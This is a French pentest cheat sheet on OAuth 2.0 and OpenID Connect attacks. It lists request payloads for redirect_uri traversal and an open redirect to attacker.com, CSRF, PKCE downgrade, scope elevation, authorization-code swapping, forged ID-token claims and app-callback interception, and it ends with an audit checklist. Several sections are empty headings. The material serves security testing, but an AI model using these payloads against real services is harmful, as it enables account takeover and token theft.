| name | oauth-oidc-attacks |
| description | Guide complet d'attaque sur OAuth 2.0 et OpenID Connect — CSRF, redirect_uri bypass, token interception, PKCE downgrade, scope abuse |
| category | cybersecurite |
OAuth 2.0 & OpenID Connect — Attaques Avancées
Flows OAuth 2.0
Authorization Code Flow (Recommandé)
Client → Auth Code → Token Exchange → Access Token
|
User Agent
Implicit Flow (Déprécié)
Client → Access Token directement
(plus sécurisé depuis PKCE)
Resource Owner Password Credentials (Déprécié)
Client → User + Pass → Access Token
Client Credentials
Client → Client ID + Secret → Access Token
(Machine-to-Machine)
Attaques sur le Redirect URI
Redirect URI Path Traversal
redirect_uri=https://client.com/oauth/callback/../../evil
redirect_uri=https://client.com/oauth/callback.evil.com
Redirect URI Open Redirect
redirect_uri=https://client.com/redirect?url=https://attacker.com
Subdomain Takeover Redirect
redirect_uri=https://subdomain.client.com/evil
State Parameter Omission
https://oauth.target.com/auth?response_type=code&client_id=APP_ID&redirect_uri=https://client.com/callback
Attaque CSRF sur OAuth
GET https://oauth.target.com/auth?response_type=code&client_id=APP_ID&state=attacker-state
PKCE Downgrade Attack
/auth?response_type=code&code_challenge=xxxx&code_challenge_method=S256
/auth?response_type=code
Token Interception
Open Redirect + Fragment
Token dans les Logs
GET /callback#access_token=eyJ...&token_type=Bearer
Leaking via Referer
Scope Abuse
Scope Elevation
/auth?scope=openid+profile+email+admin+superadmin+*
Scope Confusion
/auth?scope=admin
Scope User-manipulation
Client Secret Leak
Secret dans le code source
Secret dans les logs
JWT Token Exchange Attacks
Token Swap
POST /token
grant_type=authorization_code
code=VALID_CODE_FOR_OTHER_USER
redirect_uri=https://client.com/callback
Token Reuse
OpenID Connect — Attaques Spécifiques
ID Token Confusion
{"sub":"admin","email":"admin@target.com"}
Nonce Reuse
acr_values Manipulation
/auth?acr_values=low
Attaques sur le Provider
Authorization Code Injection
Client Impersonation
Misconfigured CORS
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Attaques sur Third-Party Apps
App Impersonation / Phishing
GET https://oauth.target.com/.well-known/oauth-authorization-server
GET https://oauth.target.com/oauth/apps
App-to-App Token Theft
<!-- Android: Intent filter interception -->
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<data android:scheme="target-app-callback" />
</intent-filter>
Outils
| Outil | Description |
|---|
| oauth2_proxy | Test de configuration OAuth |
| Burp OAuth Scanner | Scan automatique OAuth |
| oauth-scanner | Script d'audit OAuth |
| jwt_tool | Test des tokens JWT ID |
| AuthMatrix (Burp) | Test d'authentification multi-role |
Checklist Pentest OAuth/OIDC
- Redirect URI validation (path traversal, open redirect)
- State parameter validation (CSRF)
- PKCE enforcement (downgrade possible?)
- Scope abuse (elevation, confusion)
- Client secret exposure
- Authorization code injection
- CORS misconfiguration
- Token in URL / logs / referer
- Token reuse across services (aud validation)
- ID Token signature verification
- Nonce validation (replay)
- Code expiration check
- Refresh token rotation
- Consent screen bypass
- acr_values manipulation
- App impersonation
- Cross-service token swap
- Implicit flow still enabled
- Resource Owner Password Credentials flow enabled
- Client credentials validation
Ressources